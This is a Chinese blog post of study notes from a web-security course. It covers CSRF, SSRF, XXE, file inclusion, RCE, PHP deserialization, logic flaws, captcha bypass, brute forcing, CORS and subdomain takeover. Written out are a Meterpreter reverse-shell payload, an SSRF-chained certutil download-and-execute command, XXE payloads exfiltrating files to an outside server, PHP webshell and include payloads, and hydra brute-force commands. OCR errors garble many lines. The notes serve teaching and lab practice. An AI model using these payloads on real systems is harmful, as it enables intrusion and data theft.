小迪安全_web-2

39 通用漏洞&CSRF&SSRF&协议玩法&内网探针&漏洞利用

#知识点:
1、CSRF-原理&危害&探针&利用等
2、SSRF-原理&危害&探针&利用等
3、CSRF&SSRF-黑盒下漏洞探针点

#详细点:
CSRF全称:Cross-site request forgery,即,跨站请求伪造,也被称为One
Click Attack”或Session Riding",通常缩写为CSRF或者XSRF,是一种对网
站的恶意利用。举个生活中的例子:就是某个人点了个奇怪的链接,自己什么也没输,但
自己的qg号或其他的号就被盗了。即该攻击可以在受害者不知情的情况下以受害者名义
伪造请求,执行恶意操作,具有很大的危害性。
CSRF的攻击过程两个条件:
1、目标用户己经登录了网站,能够执行网站的功能。
2、目标用户访问了攻击者构造的UR工。

CSRF安全问题黑盒怎么判断:
1、看验证来源不-修复 referen 同源策略 不是来源本站点的连接判定为非法 但referen 可以手动修改
2、看凭据有无token–修复 操作令牌 变一次操作token变一次
3、看关键操作有无验证-修复
-CSRF安全问题白盒怎么审计:
同黑盒思路一样,代码中分析上述三看

image.png

SSRF(Server-Side Request Forgery:服务器端请求伪造)是一种由攻击者构造形
成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定U工地址获取网页文本内容,加载指定地址的图片,下载等等。
-SSRF黑盒可能出现的地方:
1.社交分享功能:获取超链接的标题等内容进行显示
2.转码服务:通过Utl地址把原地址的网页内容调优使其适合手机屏幕浏览
3.在线翻译:给网址翻译对应网页的内容
4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过UR工地址加载或下载图片
5.图片/文章收藏功能:主要其会取UR工地址中title以及文本的内容作为显示以
个好的用具体验
6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相信息,就可以进行ssrf测试
7网站采集,网站抓取的地方:一些网站会针对你输入的url讲行一些信息采集工作

image.png

image.png

利用csrf 探测内网信息

image.png
image.png
image.png

image.png

#CSRF-原理&后台自动添加管理员
-案例说明:小迪在登录后台管理自己网站的时候,突然群里给小迪说阿祖又说爱上别人
了,随后给我发了个URL链接,小迪直接点了进去,GG!
小迪的网站:http://test.iaodi8.com/
发送的URL:http://47.94.236.117/add.html
利用流程:
1、获取目标的触发数据包
2、利用CSRFTester构造导出
3、诱使受害者访问特定地址触发

#SSRF-原理&服务&协议&内网&漏洞
-参考文章:https://www.t001s.cc/articles-41070.htm1
-案例说明:小迪在本地创建了远程图片文件加载应用,直接被攻击者利用SSF探针本
地及内网服务,并利用某漏洞直接获取到内网某主机的权限!
1、服务探针:
http://127.0.0.1:8081/
http://127.0.0.1:3306/
2、协议玩法:(更多玩法见上图)
file:///D:/www.txt
dict://127.0.0.1:3306/info
ftp://192.168.46.148:21
3、内网扫描:
http://192.168.46.148:8080
4、漏洞利用:
-生成:msfvenom-p windows/meterpreter/reverse_http
LHOST=47.94.236.117 LPORT=6688 -f exe -o xx.exe
-监听:
use exploit/multi/handler
set payload windows/meterpreter/reverse http
set lhost 0.0.0.0
set lport 6688
run
-下载:
http://192.168.46.148:8080/?search==%00{.execl cmd.exe$20/c$20cert
uti1号20-ur1 cache号20-sp1it号20-f号20http://47.94.236.117/xx.exe.}
-执行:http://192.168.46.148:8080/?search==号00{.exec|xx.exe.}
#SSRF-某实际案例测试演示(功能点)
基于上述的SSF的漏洞原理,漏洞探针开展黑盒思路分析那些可能存在

40

41 通用漏洞&XML&XXE&无回显&DTD 实体&伪协议&代码审计

#知识点:
1、ML&XXE-原理&发现&利用&修复等
2、ML&XXE-黑盒模式下的发现与利用
3、ML&XXE-白盒模式下的审计与利用
4、ML&XXE-无回显&伪协议&产生层面

#思路点:
参考:https://www.cnb1ogs.com/201752111yz/p/11413335.htm1
-XXE黑盒发现:
1、获取得到Content-Type或数据类型为ml时,尝试进行ml语言payload进行
测试
2、不管获取的Content-Type类型或数据传输类型,均可尝试修改后提交测试xe
3、XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成
文件中的XXE Payload被执行

-XXE白盒发现:
1、可通过应用功能追踪代码定位审计
2、可通过脚本特定函数搜索定位审计
3、可通过伪协议玩法绕过相关修复等

#详细点:
XML被设计为传输和存储数据,XML文档结构包括ML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTL分离,是独立于软件和硬件的信息传输工具。XXE漏洞全称ML External Entity Injection,即Xml外部实体
注入漏洞,XXE漏洞发生在应用程序解析工输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

XML与HTML的主要差异:
XXL被设计为传输和存储数据,其焦点是数据的内容。
HTML被设计用来显示数据,其焦点是数据的外观。
HTML旨在显示信息,而XML旨在传输信息。

XXE修复防御方案:
-方案1-禁用外部实体

PHP:
libxml disable entity loader(true)i
JAVA:
DocumentBuilderFactory dbf
=DocumentBuilderFactory.newInstance ();dbf.setExpandEntityReferenc
es(false);

image.png

演示案例:

ML&XE-黑盒-原理&探针&利用&玩法等
XML&XXE-前端-CTF&Jarvisoj&探针&利用
XML&XXE-白盒-CMS&PHPSHE&无▣显审计

#XML&XXE-黑盒-原理&探针&利用&玩法等
参考:https://www.cnb1ogs.com/201752111yz/p/11413335.htm1
1、读取文件:

<?xml version="1.0"?>
<DOCTYPE Mikasa
<!ENTITY test SYSTEM "file:///d:/e.txt">
]>
<user><username>&test;</username><password>Mikasa</password></user>
1.1、带外测试:
<?xml version="1.0"?>
<DOCTYPE test
<!ENTITY file SYSTEM "http://9v5711.dnslog.cn">
号fi1e;
]>
<user><username>&send;</username><password>Mikasa</password></use
r>

2、外部引用实体dtd:

<?xml version="1.0"?
<DOCTYPE test
<!ENTITY file SYSTEM "http://127.0.0.1:8081/evil2.dtd">
&file;
]>
<user><username>&send;</username><password>Mikasa</password></use
上>
evi12.dtd
<!ENTITY send SYSTEM "file:///d:/e.txt">

3、无回显读文件

<?xml version="1.0"?>
<DOCTYPE ANY
<!ENTITY file SYSTEM "file:///d:/e.txt">
<!ENTITY remote SYSTEM "http://47.94.236.117/test.dtd">
号remote;
号a11;
]>
<root>&send;</root>
test.dtd
<!ENTITY al1 "<!ENTITY send SYSTEM
'http://47.94.236.117/get.php?fi1e=号fi1e;'>">

4、其他玩法(协议)-见参考地址
#XML&XXE-前端-CTF&Jarvisoj&探针&利用

42 通用漏洞_文件包含_LFI_RFI_伪协议编码算法_代码审计

#知识点:
1、解释什么是文件包含
php 里常见 其他不多常见 include (‘1.php’ ) 实现文件共享

image.png
包含即执行 包含txt png 也能执行
image.png
2、分类-本地LFl&远程RFl
3、利用-配合上传&日志&会话
4、利用伪协议&编码&算法等

image.png
#核心知识:
1、本地包含LFI&远程包含RFl-区别
一个只能包含本地,一个可以远程加载
具体形成原因由代码和环境配置文件决定
2、各类脚本语言包含代码写法见下文
<-#include file=“1.asp”–>
<#include file=“top.aspx”–>
<c:import url=“http://thief.one/1.jsp”>
<jsp:include page=“head.jsp”/>
<%include file=“head.jsp”%>

<?php Include('test.php')?>

3、各类脚本语言包含伪协议玩法-见图
https://www.cnblogs.com/endust/p/11804767.html

#思路要点:
黑盒发现:主要观察参数传递的数据和文件名是否对应

image.png
几率不是很大
-白盒发现:
1、可通过应用功能追踪代码定位审计
2、可通过脚本特定函数搜索定位审计
3、可通过伪协议玩法绕过相关修复等
#本课总结:
1、有可控文件如能上传文件,配合上传后包含
2、无可控文件可以利用日志或Session&伪协议
3、代码固定目录及文件后缀时需考虑版本绕过
4、伪协议玩法是建立在代码中只有变量存在时

演示案例:

前置知识-原理&分类&探针&利用&修复
CTF应用-CTFSHOW-78关卡到117关卡
CMS源码-XHCMS-代码审计&日志&绕过

#前置知识-原理&分类&探针&利用&修复
#CTF应用-CTFSHOW-78关卡到117关卡

78-php&htp协议
参考  https://segmentfault.com/a/1190000018991087
payload:?file=php://filter/read=convert.base64-encode/resource=flag.php
payload:?file=php://input post:<?php system('tac flag.php');?
payload:?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system(tac flag.php');?
79-data&http协议
payload:?file=data://text/plain,<?=system('tac flag.*);?>
payload:
?file=data://text/plain:base64.PD9waHAgc3izdGVtKCdoYWMgZmxhZy5waHAnKTs/Pg==
payload:?file=http://www.xiaodi8.com/1.txt 1.txt <?php system('tac flag.php'):?>

image.png
image.png
image.png
8081-日志包含
1、利用其他协议,如ile,zlib等
2、利用日志记录UA特性包含执行
分析需文件名及带有php关键字放弃
故利用日志记录UA信息,UA带入代码
包含:var/log/nginx/access.log
image.png
image.png
image.png

82-86-SESSION包含
https://www.cnblogs.com/Interpreter/p/14086164.html
https://www.cnblogs.com/echoDetected/p/13976405.html

87-php:l/filter/write&加它编码
1、利用base64
url编码2次:pnp/filter/write-convertbase64-decode/resource-123.php
content=aaPD9waHAgQGV2YWWOJF9QT1NUW2FdKTs/Pg==
2、利用凯撒13:
url编码2次:php//filter/write=string.rot13/resource-2.php
content=<?cuc ffgrz('gnp s*.cuc').?>

88-data&base64协议
过滤PHP,各种符号,php代码编码写出无符号base64值
Payload:
file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdoYWMgKi5waHAnKTtlY2hvIDEyMz
s/PmFk

117-php:/filter/write&新的算法
convert…iconv.:一种过滤器,和使用icov(O函数处理流数据有等同作用

<?php Sresult iconv("UCS-2LE","UCS-2BE",'<?php eval($_POST[a]);?>)

echo"经过一次反转:" r e s u l t . n " e c h o " 经过第二次反转 " . i c o n v ( " U C S − 2 L E " , " U C S − 2 B E " , result.n" echo"经过第二次反转".iconv("UCS-2LE","UCS-2BE", result.n"echo"经过第二次反转".iconv("UCS2LE","UCS2BE",result):
Payload:file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents=?<hp pvela$(P_SO[T]a;)>

#CMS凉码-XHCMS-代码亩计&日志&过
1、搜察特定函数寻包含点
2、固定目录及后景名需绕过
3、由CMS无上传用日志包含

43-通用漏洞&任意文件下载&删除重装&敏感读取&黑白审 计

#知识点:
1、文件操作类安全问题
2、文件下载&删除&读取
3、白盒&黑盒&探针分析
#详细点:
文件读取:基本和文件下载利用类似
文件下载:利用下载获取源码或数据库配置文件及系统敏感文件为后续出思路
文件删除:除自身安全引发的文件删除外,可配合删除重装锁定文件进行重装

image.png

演示案例:

审计分析-文件下载-XHCMS-功能点
审计分析-文件读取-MetInfo-函数搜索
审计分析-文件删除-74CMS-函数搜索
黑盒分析-下载读取-下载资源URL参数

image.png
image.png
image.png
#白盒审计:
1、文件下载
流程-功能点抓包-寻代码文件-寻变量控制-构造测试
Payload:softadd=d:/1.txt softadd2=d:/1.txt

2、文件删除:74CMS-配合删除重装
流程-特定函数搜索-寻触发调用-构造Payload测试
Payload:
/admin/admin article.php?act=del img&img=…/…/data/install.lock

3、文件读取:MetInfo-任意读取
流程-特定函数搜索-寻触发调用-构造Payload测试
Payload:/include/thumb.php?dir=http…\config\config db.php

image.png
#黑盒探针
image.png
1、URL参数名及参数值分析:
参数名:英文对应翻译
参数值:目录或文件名

2、功能点自行修改后分析:
文件下载,删除,读取等

44 通用漏洞&RCE&代码执行&命令执行&多层面检测利用

#知识点:
1、RCE执行-代码执行&命令执行
2、CTF考点-漏洞配合&绕过手法
3、利用审计-CMS框架&中间件等

#详细点:
1.为什么会产生此类安全问题
2.此类安全问题探针利用及危害
3.此类安全问题在CTF即CMS分析
漏洞场景:代码会调用自身的脚本代码执行,也会调用系统命令执行
漏洞区别:脚本语言&操作系统(php/java/python/js&windows/1inux/mac)
漏洞对象:WEB源码&中间件&其他环境(见漏洞详情对象)
漏洞危害:直接权限丢失,可执行任意脚本代码或系统命令

演示案例:

RCE-原理&探针&利用&危害等
CTF-29~39-RCE代码命令执行
CMS-PbootCMS审计-RCE执行
层面-探针-语言&CMS&中间件等

#RCE-原理&探针&利用&危害等
举例:

<?php //eval代码执行 eval('phpinfo();'); //system命令执行 system('ipconfig'); ?>

-RCE代码执行:引用脚本代码解析执行
-RCE命令执行:脚本调用操作系统命令
漏洞函数:
1.PHP:
eva1()、assert()、preg replace()、call_user func()、
call_user_func_array()以及array_map()等
system、shell_exec、popen、passthru、proc open等
2.Python:
eval exec subprocess os.system commands
3.Java:
Java中没有类似php中eval函数这种直接可以将字符串转化为代码执行的函数,
但是有反射机制,并且有各种基于反射机制的表达式引擎,如:OGNL、SpEL、MVEL等.

#CTF-29~39-RCE代码命令执行
29-通配符
system('tac fla*.php);
30-取代函数&通配符&管道符
cp fla*.ph2.txt
echo shell exec ('tac fla
.ph*);

image.png
31-参数逃逸 虚构个参数
eval(KaTeX parse error: Expected 'EOF', got '&' at position 9: GET[1]);&̲1=system('tac f…GET [a]?>&a=data://text/plain,<?=system('tac f1ag.php')i?>
image.png
includes GET[a]?>&a=php://filter/read=convert.base64-
encode/resource=flag.php
37~39-包含&伪协议&通配符
data://text/plain,<?=system('tac fla*');?>
image.png
php://input post:<?php system('tac flag.php');?>

#代码审计-Pb0 otCMS-RCE代码执行
流程:搜索特定函数->parserlfLabel–>parserCommom->About&Content->构道
AboutController:(pboot:if(eval(S_POST[1]))!!!(/pboot:if)
ContentController:/index.php/Content/2?keyword=[pboot:if(eval(S_REQUEST[1]))😕/))))
(/pboot:if)&1=phpinfo();

#层面-探针-语言&CMS框架&中间件
http://vulfocus.io/Shiro weblogic

45 通用漏洞&PHP 反序列化&POP 链构造&魔术方法&原生 类

#知识点:
1、什么是反序列化操作?-格式转换

image.png 将对象抓换为 字符串数组形式
image.png
image.png
反序列化 把数组字符串转化为对象

2、为什么会出现安全漏洞?-魔术方法
3、反序列化漏洞如何发现?一对象逻辑
4、反序列化漏洞如何利用?-P0P链构造
补充:反序列化利用大概分类三类
-魔术方法的调用逻辑-如触发条件
-语言原生类的调用逻辑-如SoapC1ient
-语言自身的安全缺陷-如cVE-2016-7124

#反序列化课程点:
-PHP&Java&Python
序列化:对象转换为数组或字符串等格式
反序列化:将数组或字符串等格式转换成对象
serialize()
//将一个对象转换成一个字符串
unserialize()
//将字符串还原成一个对象

#PHP反序列化漏洞
原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而
导致代码执行,SQ工注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些
魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。

#魔术方法利用点分析:
触发:unseria1ize函数的变量可控,文件中存在可利用的类,类中有魔术方法:
construct():/构造函数,当对象new的时候会自动调用
destruct()😕/析构函数当对象被销毁时会被自动调用
wakeup()😕/unserialize()时会被自动调用
invoke()😕/当尝试以调用函数的方法调用一个对象时,会被自动调用
ca11()😕/在对象上下文中调用不可访问的方法时触发
cal1 Statci()😕/在静态上下文中调用不可访问的方法时触发
get()😕/用于从不可访问的属性读取数据
set()😕/用于将数据写入不可访问的属性
isset()😕/在不可访问的属性上调用isset()或empty()触发
unset()😕/在不可访问的属性上使用unset()时触发
toString()😕/把类当作字符串使用时触发
sleep()😕/serialize()函数会检查类中是否存在一个魔术方法sleep()如
果存在,该方法会被优先调用
image.png

image.png

演示案例:

反序列化-魔术方法&漏洞引发&变量修改等
CTFSHOW-关卡254到260-原生类&POP构造
CMS代码审计-Typecho反序列化&魔术方法逻辑

#反序列化-魔术方法&漏洞引发&变量修改等

<?php
//序列化&反序列化
class demotest{
public Sname='xiaodi;
public $sex='man';
public Sage='29';
Sexample=new demotest ()
$s=serialize(9 example);//序列化
u=unserialize($s);//反序列化
echo ss.'<br>';
var dump (Su);
echo '<br>';
//0:8:"demotest":3:{s:4:"name";s:6:"xiaodi";s:3:"sex";s:3:"man";s
:3:"age";s:2:"29";}
//object (demotest)#2 (3){["name"]=>string(6)"xiaodi"
["sex"]=>string(3)"man"["age"]=>string (2)"29"
//安全问题
class A{
public Svar='echo test';
public function test ()
echo sthis->var;
public function destruct(){
echo 'x'.<br>;
}
public function construct(){
echo construct'.'<br>';
}
public function tostring(){
return tostring'.'<br>';
}
//无需函数,创建对象触发魔术方法
//$a=newA();//触发construct
//$a->test();//触发test
//echo$a;//触发toString
//触发destruct
echo serialize (Sa);

49-通用漏洞&业务逻辑&水平垂直越权&访问控制&脆弱验 证

#知识点:
1、水平越权-同级用户权限共享
2、垂直越权-低高用户权限共享
3、访问控制-验证丢失&取消验证
4、脆弱验证-Cookie&Token&Jwt等
#前置知识:
1、逻辑越权原理-
-水平越权:用户信息获取时未对用户与工D比较判断直接查询等
-垂直越权:数据库中用户类型编号接受篡改或高权限操作未验证等
2、访问控制原理-
-验证丢失:未包含引用验证代码文件等
-取消验证:支持空口令,匿名,白名单等
3、脆弱验证原理
-Cookie&Token&Jwt:不安全的验证逻辑等

image.png

演示案例:

权限-水平越权-YXCMS-检测数据比对弱
~权限-垂直越权-MINICMS-权限操作无验证

image.png

未授权-访问控制-XHCMS-代码未引用验证
未授权-脆弱机制-XHCMS-Cookie脆验证
弱机制-空口令机制-Redis&Weblogic弱机制
检测类-工具项目-Authz&Secscan-Authcheck

#权限-水平越权-YXCMS-检测数据比对弱
只检测用户和工D对应关系,没检测当前操作用户是不是当前用户
#权限-垂直越权-MINICMS-权限操作无验证
后台数据包访问先执行后判断登录等于无效
#未授权-访问控制-XHCMS-代码未用验证
#未授权-脆弱机制-XHCMS-Cookie脆弱验证
app=“熊海内容管理系统(SEACMS)”

#弱机制-空口令机制-Redis&Weblogic弱机制
http://vulfocus.io/
https://vulhub.org/
“weblogic”&port=“7001”
#检测类-工具项目-Authz&Secscan-Authcheck
安装踩坑:https://bigyoung.cn/posts/250/
https://github.com/ztosec/secscan-authcheck

50 通用漏洞&购买支付逻辑&数据篡改&请求重放&接口替 换

#知识点:
1、商品购买-数量&价格&编号等
2、支付模式-状态&接口&负数等
3、折扣处理-优惠券&积分&重放等
#详细点:
1、熟悉常见支付流程
选择商品和数量-选择支付及配送方式-生成订单编号-订单支付选择-完成支付
2、熟悉那些数据篡改
商品编号ID,购买价格,购买数量,支付方式,订单号,支付状态等
3、熟悉那些修改方式
替换支付,重复支付,最小额支付,负数支付,流出支付,优惠券支付等

#章节内容:
1、权限相关-越权&访问控制&未授权访问等
2、购买支付-数据篡改&支付模式&其他折扣等
3、下节课
4、下节课

演示案例:
数据篡改-价格&数量&产品

修改方式订单号&数量&优惠券
某实例-演示站交易支付逻辑安全
代码审计-业务支付逻辑8安全修复

#数据篡改-价格&数量&产品
1、修改数量达到价格变动
2、修改单价达到价格变动
3、修改产品达到低价购买
4、修改接口达到成功购买
#修改方式-订单号&数量&优惠券
1、修改数量达到价格变动
2、修改订单达到底价购买
3、优惠券重放使用&重领使用
#某实例-演示站交易支付逻辑安全
#代码审计-业务支付逻辑&安全修复
1、金额以数据库定义为准
2、购买数量限制为正整数
3、优惠券固定使用后删除
4、订单生成后检测对应值

51 通用漏洞&验证码识别&复用&调用&找回密码重定向&状态值

#知识点:
1、找回密码逻辑机制-回显&验证码&指向
2、验证码验证安全机制-爆破&复用&识别
3、找回密码-客户端回显&Response状态值&修改重定向
4、验证码技术-验证码爆破,验证码复用,验证码识别等
#详细点:
-找回密码流程安全:
1、用回显状态判断-res前端判断不安全
2、用用户名重定向-修改标示绕过验证
3、验证码回显显示-验证码泄漏验证虚设
4、验证码简单机制-验证码过于简单爆破

-验证码绕过安全:
1、验证码简单机制-验证码过于简单爆破
2、验证码重复使用-验证码验证机制绕过
3、验证码智能识别-验证码图形码被识别
4、验证码接口调用-验证码触发机制枚举
#安全修复方案:
-找回机制要进行每一步验证-防绕过重定向
-找回机制要进行服务端验证-防r©s数据修改
-找回机制要控制验证码安全-防验证码攻击
-验证码接口需验证后被调用-防接口被乱调用
-验证码引用智能化人工判断-防验证码被识别
-验证码采用时间段生效失效-防验证码被复用

演示案例:

phpun-res值修改&验证码回显&爆破
某APP-res值修改&验证码接口调用&复用
seacms-验证码识别&找回机制对应值修改
#phpun-res值修改&验证码回显&爆破

res修改-绑定手机号时修改返回状态值判定通过
验证码回显-绑定手机号时验证码前端泄漏被获取
验证码爆破-知道验证码规矩进行无次数限制爆破

#某APP-res值修改&验证码接口调用&复用
res修改-找回密码修改返回状态值判定验证通过
验证码接口调用-抓当前发送验证码数据包后调用
验证码复用-抓第一次验证通过的验证码进行复用

image.png
#seacms-验证码识别&找回机制对应值修改
找回机制对应值修改:
注册两个帐号,尝试找回密码,重置连接重定向绕过
代码审计后分析Poc:
member.php?mod=repsw3&repswcode=y&repswname=targetUser
-验证码识别:P CAPTCHA
https://github.com/cOny1/captcha-killer
https://github.com/smxiazi/NEW xp CAPTCHA
使用环境:windows10 python:3.6.5
安装使用:具体看直播操作
1、burp安装jypython后导入py文件
2、安装所需库后python运行server.py
3、抓操作数据包后设置参数设置引用
参考案例:https://www.cnblogs.com/punished/p/14746970.html
应用:爆破密码时,接口调用时,测试其他时等

52 -通用漏洞&弱口令安全&社工字典生成&服务协议&Web 应用

#知识点:
1、弱口令安全&配置&初始化等
2、弱口令对象&web&服务&应用等
3、弱口令字典&查询&列表&列表等
#前置知识:
弱口令(weak password)没有严格和准确的定义,通常认为容易被别人(他们有可能
对你很了解)猜测到或被破解工具破解的口令均为弱口令,通常与管理的安全意识和平台
的初始化配置等相关,通过系统弱口令,可被黑客直接获得系统控制权限。
在常见的安全测试中,弱口令会产生安全的各个领域,包括w©b应用,安全设备,平台
组件,操作系统等;如何获取弱口令,利用弱口令成为了此类安全问题的关键!

演示案例:

Web类-加密&验证码后台猜解
服务类-SSH&RDP远程终端猜解
应用类-ZIP&Word文件压缩包猜解
字典类-密文收集&弱口令8&自定义生成

#web类-加密&验证码后台猜解
https://github.com/smxiazi/NEW xp CAPTCHA
-Zb1og-密文MD5传输加密猜解
-Seacms-登录验证码识别猜解

#服务类-SSH&RDP远程终端猜解
https://github.com/vanhauser-thc/thc-hydra
hydra是一个自动化的爆破工具,暴力破解弱密码,
是一个支持众多协议的爆破工具,已经集成到Ka1i工inux中,直接在终端打开即可
-s PORT可通过这个参数指定非默认端口。
-1工OGIN指定破解的用户,对特定用户破解。
-工FI工E指定用户名字典。
-p PASS小写,指定密码破解,少用,一般是采用密码字典。
-PFI工E大写,指定密码字典。
-ens可选选项,n:空密码试探,s:使用指定用户和密码试探。
-C FILE
使用冒号分割格式,例如登录名:密码"来代替-工/-P参数。
-M FILE
指定目标列表文件一行一条。
-oFI工E指定结果输出文件。
-£在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。
-t TASKS同时运行的线程数,默认为16。
-wTIME设置最大超时的时间,单位秒,默认是30s。
-v/-V显示详细过程。
server目标ip
service指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm]imap[-
ntlm]smb smbnt http-[headl get}http-{getlpost}-form http-proxy
cisco cisco-enable vnc 1dap2 ldap3 mssql mysql oracle-listener
postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq
sapr3 ssh smtp-auth [-ntlm]pcanywhere teamspeak sip vmauthd
firebird ncp afp等等。
hydra -1 root -P UserPassCombo-Jay.txt -t 5 -vV 47.110.73.12 ssh
-f

image.png
hydra -1 administrator -P UserPassCombo-Jay.txt -t 5 -vV
47.99.218.105rdp-f

image.png

#应用类-ZIP&WORD文件压缩包猜解
PassFab for Word
Advanced Archive Password Recovery

53 通用漏洞&CRLF 注入&URL 重定向&资源处理拒绝服 务

#知识点:
1、CRLF注入-原理&检测&利用
2、UR工重定向-原理&检测&利用
3、Web拒绝服务-原理&检测&利用
#下节预告:
1、JSONP&CORS跨域
2、域名安全-接管劫持

#详细点:
1.CLF注入漏洞,是因为W©b应用没有对用户输入做严格验证,导致攻击者可以输入一
些恶意字符。攻击者一旦向请求行或首部中的字段注入恶意的CLF,就能注入一些首部
字段或报文主体,并在响应中输出,所以又称为TTP响应拆分漏洞。
如何检测安全问题:CRLFuzz
2.UR工重定向跳转
写代码时没有考虑过任意U工跳转漏洞,或者根本不知道/不认为这是个漏洞;
写代码时考虑不周,用取子串、取后缀等方法简单判断,代码逻辑可被绕过:
对传入参数做一些奇葩的操作(域名剪切/拼接/重组)和判断,适得其反,反被绕过:
原始语言自带的解析U工、判断域名的函数库出现逻辑漏洞或者意外特性,可被绕过:
原始语言、服务器/容器特性、浏览器等对标准U工协议解析处理等差异性导致绕过:
3.web拒绝服务
现在有许多资源是由服务器生成然后返回给客户端的,而此类资源生成”接口如若有参数
可以被客户端控制(可控),并没有做任何资源生成大小限制,这样就会造成拒绝服务风险,导致服务器处理不过来或占用资源去处理。

演示案例:
注入-原理&检测&利用

UR工重定向-原理&检测&利用
WEB拒绝服务-原理&检测&利用

#案例1-CRIE注入原理&检测&利用
vulhub nginx
&0aSet-cookie:JSPSESSIDKaTeX parse error: Expected 'EOF', got '#' at position 115: …lfuzz/releases #̲案例2-URL重定向&原理&检…、1000$了,国内看运气~
业务:
用户登录、统一身份认证处,认证完后会跳转
用户分享、收藏内容过后,会跳转
跨站点认证、授权后,会跳转
站内点击其它网址链接时,会跳转
黑盒看参数名:
redirect
redirect to
redirect url
url
jump
jump to
target
to
link
linkto
domain
白盒看代码块:

54 通用漏洞&跨域 CORS 资源&JSONP 回调&域名接管劫持

#知识点:
1、子域名接管-检测&探针&利用
2、COSP跨域资源-检测&探针&利用
3、JSONP跨域回调-检测&探针&利用
#前置知识点:
-同源策略(SOP)-同源”包括三个条件:同协议同域名同端口
同源策略限制从一个源加载的文档或脚本与来自另一个源的资源进行交互,这是一个用于
隔离潜在恶意文件的关健的安全机制.简单说就是浏览器的一种安全策略。
虽然同源策略在安全方面起到了很好的防护作用,但也在一定程度上限制了一些前端功能
的实现,所以就有了许多跨域的手段。

-子域名接管:
域名解析记录指向域名,对应主机指向了一个当前未在使用或己经删除的特定服务,攻击
者通过注册指向域名,从而控制当前域名的控制权,实现恶意软件分发、网络钓鱼/鱼叉
式网络钓鱼、XSS、身份验证绕过等。子域名接管不仅仅限于CNAME记录,NS,MX甚至
A记录也会受到影响。
检测项目:
https://github.com/pwnesia/dnstake
https://github.com/anshumanbh/tko-subs
https://github.com/mhmdiaa/second-order
https://github.com/r3curs1v3-pr0xy/sub404
https://github.com/Echocipher/Subdomain-Takeover

-COSP跨域资源
CORS全称Cross-Origin Resource Sharing,跨域资源共享,是HTML5的一个新
特性,己被所有浏览器支持,跨域资源共享(COS)是一种放宽同源策略的机制,它允许
浏览器向跨源服务器,发出MLHttpRequest请求,从而克服了AJAX只能同源使用的
限制,以使不同的网站可以跨域获取数据。
Access-Contro1-A11ow-Origin:指定哪些域可以访问域资源。例如,如果
requester.com想要访问provider.com的资源,那么开发人员可以使用此标头安全
地授予requester.com对provider.com资源的访问权限。
Access–Contro1-Allow-Credentials:指定浏览器是否将使用请求发送cookie。
仅当allow-credentials标头设置为true时,才会发送Cookie。
Access-Contro1-A1low-Methods:指定可以使用哪些HTTP请求方法(GET,
PUT,DELETE等)来访问资源。此标头允许开发人员通过在requester.com请求访问
provider.com的资源时,指定哪些方法有效来进一步增强安全性。
检测项日:https://github.com/chenjj/CORScanner

演示案例:

CORS资源跨域-敏感页面源码获取
JSONP回调跨域-某牙个人信息泄露
子域名接管-瓜迪个人子域名劫持接管
检测项目-CORS&SONP&子域名接管

#CORS资源跨域-敏感页面源码获取
复现步骤:
1、本地搭建访问项面跨域调用UR
2、受害者访问当前项面被资源共享
#JSONP回调跨域-某牙个人信息泄露
复现步骤:
1、登录某牙找到回调有敏感信息
2、本地搭建访项面跨域调用UR工
3、访问本地项面可获取当前某牙信息

#子域名接管-瓜迪个人子域名劫持接管
复现步骠::xiaodi8.com
1、通过检测cname获取指向
2、发现testxiaodi.fun过期受控
3、注册testxiaodi.fun实现控制
#检测项目-CORS&JSONP&子域名接管
1.python cors scan.py -i top 100 domains.txt -t 100
2、人工排查+burpsuite安装Jsonp Hunter.py抓包使用
3、dnsub爬取子域名筛选接管

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值